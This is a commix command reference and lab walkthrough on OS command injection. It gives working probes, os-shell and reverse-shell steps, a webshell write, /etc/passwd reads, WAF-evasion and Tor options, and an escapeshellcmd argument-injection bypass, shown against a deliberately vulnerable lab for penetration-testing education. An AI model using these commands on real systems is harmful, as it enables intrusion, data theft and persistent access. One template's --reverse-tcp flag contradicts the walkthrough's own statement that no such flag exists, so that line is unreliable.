commix is an open-source tool that automates the detection and exploitation of OS command injection, the way sqlmap automates SQL injection. This is the field reference for the flags that matter, grouped by the task you are trying to accomplish.
Quick reference
commix Command Reference
Every flag organised by task. Copy and adapt.
commix is the tool I reach for whenever a parameter looks like it might end up inside a shell command on the server. It automates OS command injection the same way sqlmap automates SQL injection. Different bug class, similar workflow. This is the field reference for the flags that matter, grouped by the task I am trying to accomplish.
If you are new to commix, the walkthrough against a vulnerable lab app further down this page is the right next stop. For the underlying bug class, read the OS command injection deep dive. The closely related argument injection writeup covers cases where commix is the wrong tool. If you are picking tools for a wider engagement, the best RCE tools list for 2026 covers the alternatives, and the remote code execution overview frames where command injection sits in the broader RCE landscape.
commix vs sqlmap (when to reach for which)
These two tools look similar at a distance and the flag shapes echo each other on purpose: same --level, --technique, --tamper, --os-shell, -r req.txt, --batch conventions. They solve different problems though, and reaching for the wrong one wastes hours.
| commix | sqlmap | |
|---|---|---|
| Bug class | OS command injection | SQL injection |
| What it exploits | Unsanitised input concatenated into a shell command on the server | Unsanitised input concatenated into a SQL query |
| Typical sink | system(), exec(), popen(), os.system(), backticks, shell-out helpers | mysql_query(), prepared statements built by string concat, ORM raw() calls |
| What you get out | Direct OS shell on the server (already RCE) | Data extraction; OS shell only if the DB user has FILE/UDF privileges |
| Symptoms in the app | Ping form, lookup utility, file-name parameter, image-converter, network-tool front-end | Login form, search, product listing, anything reading rows back from a DB |
| Default destructiveness | Lower than people assume: detection probes use harmless commands like echo and sleep | Higher: --risk=3 payloads can UPDATE/OR-trigger writes |
| When in doubt | If the parameter ends up in a shell, commix. If it ends up in a query, sqlmap. | Same rule, inverted. |
If a parameter is being passed into a SQL query and you point commix at it, you will burn a lot of requests for nothing. If it is being shelled out and you point sqlmap at it, same outcome. Identify the sink first (response timing, error strings, the kind of utility the page exposes), then pick the tool.
What req.txt looks like (and how to grab it from your browser)
req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commix runs use -r req.txt because it carries the entire request shape without retyping. The format and capture path are identical to the one documented in the sqlmap cheat sheet (DevTools Network tab, save as HAR, or copy each header into a text file). commix accepts the same file format with no changes. The only commix-specific note is that commix does not have a HAR loader, so for commix specifically you do want a real req.txt rather than .har.
Workflow templates
A few command lines I use as starting points and adapt from. Edit the values once and every example below updates.
Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. Level 3 tests every header which is loud; raise it only when low levels have already failed.
Simplest possible probe, just a URL with a query string. Good for a first sanity check on a vulnerable lookup form:
commix -u ':target_url' --batch :ua --level=:level --technique=:techniquePOST form, no req.txt needed. commix infers POST from --data:
commix -u 'https://target.example/ping' \
--data='host=1.1.1.1&submit=ping' \
--batch :ua --level=:level --technique=:techniquePUT or JSON API, force the method and content-type:
commix -u 'https://api.target.example/v1/jobs' \
--method=PUT \
--headers='Content-Type: application/json' \
--data='{"name":"test","cmd":"echo hi"}' \
--batch :ua --level=:level --technique=:techniqueFirst pass against a captured request, light touch, defaults, see if anything obvious surfaces:
commix -r req.txt --batch :ua --level=:level --technique=:techniqueConfirmed injection, drop into a pseudo-shell:
commix -r req.txt --batch :ua --os-shell --technique=:techniqueReverse shell back to your listener. commix prompts for LHOST, LPORT, and a payload language:
commix -r req.txt --batch :ua --reverse-tcp --technique=:techniqueBehind a WAF, slow and quiet, tamper chain layered on:
commix -r req.txt --batch :ua --delay=:delay --timeout=:timeout \
--tamper=space2ifs,backticks,base64encode --technique=tThrough Tor, paranoid mode:
commix -r req.txt --batch --tor --check-tor :ua \
--delay=:delay --timeout=:timeout --technique=:techniqueOnce injection is confirmed, the typical enumeration sequence:
commix -r req.txt --batch --current-user
commix -r req.txt --batch --hostname --sys-info
commix -r req.txt --batch --is-root --users
commix -r req.txt --batch --file-read=/etc/passwdWrite a PHP webshell into the document root, then call it directly in the browser:
commix -r req.txt --batch \
--file-write=local-shell.php \
--file-dest=/var/www/html/s.php \
--web-root=/var/www/htmlWalkthrough: exploiting a vulnerable lab app
The flags above make more sense once you have watched them run against a real target. Here is the chain I use end to end, from no captured request to a shell, a time-based confirmation when output is suppressed, a reverse TCP shell, file read/write, and the argument-injection variant that slips past escapeshellcmd. Every output below was produced against techearl-labs/remote-code-execution/rce-basic. The endpoints and exploit behaviour are deterministic; request counts, session-cache paths, container IPs, and timestamps vary by environment. Run it only against your own lab or a target you are authorised to test.
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up rce-basicIt listens on http://localhost:8085 with four deliberately vulnerable endpoints:
| Endpoint | Method | Parameter | Sink |
|---|---|---|---|
/ping.php?host=<v> | GET | host | shell_exec('ping -c 1 -W 1 ' . $host) |
/lookup.php?domain=<v> | GET | domain | shell_exec('dig ' . escapeshellcmd($domain)) |
/template.php | POST | tpl | Hand-rolled template engine that evaluates each placeholder |
/calc.php | POST | expr | Direct evaluation of the POST body |
/ping.php is the textbook OS command injection sink and the primary target. /lookup.php wraps input in escapeshellcmd, which neutralises ;, |, backticks, and $() but leaves dashes and whitespace alone; that gap is the argument-injection subsection below.
Confirm the sink by hand
One manual probe before reaching for commix. It costs ten seconds and tells you whether there is a sink at all:
curl -s "http://localhost:8085/ping.php?host=localhost" | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=localhost;id" | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=\`id\`" | grep -A1 '<pre>'The first returns normal ping output. The second appends an uid=33(www-data) gid=33(www-data) groups=33(www-data) line because ; ends the ping and id runs next. The third does the same via backtick substitution. Either confirms host is concatenated straight into a shell string.
Detect with the classic, time-based, and file-based techniques
Capture a baseline request (visit the page through Burp, "Copy to file" as req.txt) or write it by hand, then let commix detect. --batch accepts every prompt; --level=2 widens the test set past the quiet defaults:
commix -r req.txt --level=2 --batchOutput (abbreviated):
[info] Setting GET parameter 'host' for tests.
[info] Testing the (results-based) classic command injection technique.
[+] The (results-based) classic command injection technique appears to be successful.
[+] Payload: ;echo CMCJZG$((45+22))$(echo CMCJZG)CMCJZG
[*] Type: results-based command injection
[*] Technique: classic command injection (using semicolon separator)
[*] Parameter: host
commix flagged the parameter, picked the ; separator, and confirmed results-based extraction. From here every run reuses the session cache in ~/.commix/output/<host>/ unless you pass --flush-session.
When the response body never reflects stdout (the app catches the error, or the sink pipes to /dev/null), fall back to the time oracle. --time-sec=5 is the per-probe sleep; commix binary-searches each character:
commix -r req.txt --batch --technique=t --time-sec=5[+] Retrieved: www-data
[+] The time-based command injection technique appears to be successful.
[*] Payload: ;sleep 5
Reliable but slow: roughly --time-sec seconds per character. On a target with unpredictable latency, the time signal drowns in noise, so use the file-based semi-blind technique instead. It writes output to a web-accessible path and fetches it with a second request. --web-root tells commix where the document root lives:
commix -r req.txt --batch --technique=f --web-root=/var/www/html[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] The file-based semi-blind command injection technique appears to be successful.
Two HTTP requests per command instead of one timing probe per character, so file-based is the fastest blind technique when a guessable, writable webroot is reachable.
Pop a shell: os-shell and reverse TCP
With the technique locked in, --os-shell is the interactive pseudo-shell:
commix -r req.txt --batch --os-shellcommix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
commix(os_shell) > uname -a
Linux 4f3c9c2b1a5e 6.5.0-0-amd64 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
commix(os_shell) > ls /var/www/html
calc.php
index.php
lookup.php
ping.php
shared
template.php
There is no PTY and nothing persists between commands (each line is a fresh injected request). For a real shell with a persistent environment, start a listener first, then switch the os-shell into commix's interactive reverse TCP mode and fire the payload (commix connects back the moment you run it):
nc -lvnp 4444reverse_tcp is a mode you configure with set, not a batch of command-line flags (there is no --reverse-tcp/--reverse-tcp-ip/--reverse-tcp-port). From the commix(os_shell) prompt:
commix(os_shell) > use reverse_tcp
commix(reverse_tcp) > set lhost 172.17.0.1
commix(reverse_tcp) > set lport 4444
commix(reverse_tcp) > set payload bash
commix(reverse_tcp) > show options
commix(reverse_tcp) > run
The listener catches the connection:
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 53122
bash: no job control in this shell
www-data@4f3c9c2b1a5e:/var/www/html$
Upgrade to a full PTY with python3 -c 'import pty; pty.spawn("/bin/bash")', then Ctrl+Z, stty raw -echo; fg, and export TERM=xterm. One IP gotcha that trips people up: the reverse shell originates inside the target container, so lhost has to be an address the container can reach your listener on, not the container's own 127.0.0.1. With default Docker bridge networking on Linux that is the bridge gateway (172.17.0.1); on Docker Desktop for macOS or Windows use host.docker.internal or your LAN address. 127.0.0.1 only works if the listener runs inside the same container or the container was started with host networking.
Read and write files through the injection point
--file-read and --file-write both work over whichever technique was discovered:
commix -r req.txt --batch --file-read=/etc/passwd[info] Reading content of file '/etc/passwd':
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Any file readable by uid 33 is reachable. Write goes the other direction: stage a marker locally, push it to a writable webroot, verify:
echo 'hello from commix' > marker.txt
commix -r req.txt --batch \
--file-write=marker.txt \
--file-dest=/var/www/html/marker.txt
curl -s http://localhost:8085/marker.txthello from commix
A write into the document root is the usual route to a permanent webshell.
Argument injection through the escapeshellcmd gap
/lookup.php is the instructive one. Its sink is:
$cmd = 'dig ' . escapeshellcmd($domain) . ' 2>&1';
$output = shell_exec($cmd);escapeshellcmd escapes shell metacharacters, so the classic separator payloads all fail and a baseline commix run reports no injection:
commix -u 'http://localhost:8085/lookup.php?domain=example.com' --batch --level=3The gap is that escapeshellcmd does not quote the input and leaves dashes and whitespace alone. dig -f <file> reads queries from a file and echoes each unparseable line to stderr, so the payload is an argument, not a metacharacter:
curl -s "http://localhost:8085/lookup.php?domain=-f+/etc/passwd" | grep -A2 '<pre>'The body comes back with /etc/passwd as a series of dig parse errors. To drive it through commix, tell it the command is dig -f so its payloads target file-mode dig rather than wrapping in shell separators:
commix -u 'http://localhost:8085/lookup.php?domain=example.com' \
--batch --level=3 \
--prefix='' --suffix='' \
--alter-shell='dig -f' \
--skip='OS'The principle generalises to any binary whose flags read or write files (find -fprint, tar -x, curl -K, wget -i). escapeshellcmd only solves shell-metacharacter parsing; it never solves argument parsing inside the called binary. The defence is to allow-list the input shape before the sink, or pass -- before the user argument so the binary stops reading flags. The full mechanics are in the argument injection deep dive.
Flags I almost never use
For completeness, a short list of flags that exist but rarely earn their keep:
--smart, claims to skip non-injectable parameters early. In practice it skips real injections too.--check-internet, adds round trips. If your connection is broken, you will know.--purge, only useful at the very end of an engagement to wipe local artefacts.
A note on responsible use
Every flag above is dual use. The same --os-shell that gives you a foothold on a production server is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. The authorisation block at the top of this page is not decorative, and the legal framing in the OS command injection deep dive covers the rest.
Sources
Authoritative references this article was fact-checked against.
- commix, official repositorygithub.com
- commix project homepagecommixproject.com
- commix, Usage wikigithub.com
- OWASP, Command Injectionowasp.org
- Docker, host network driverdocs.docker.com





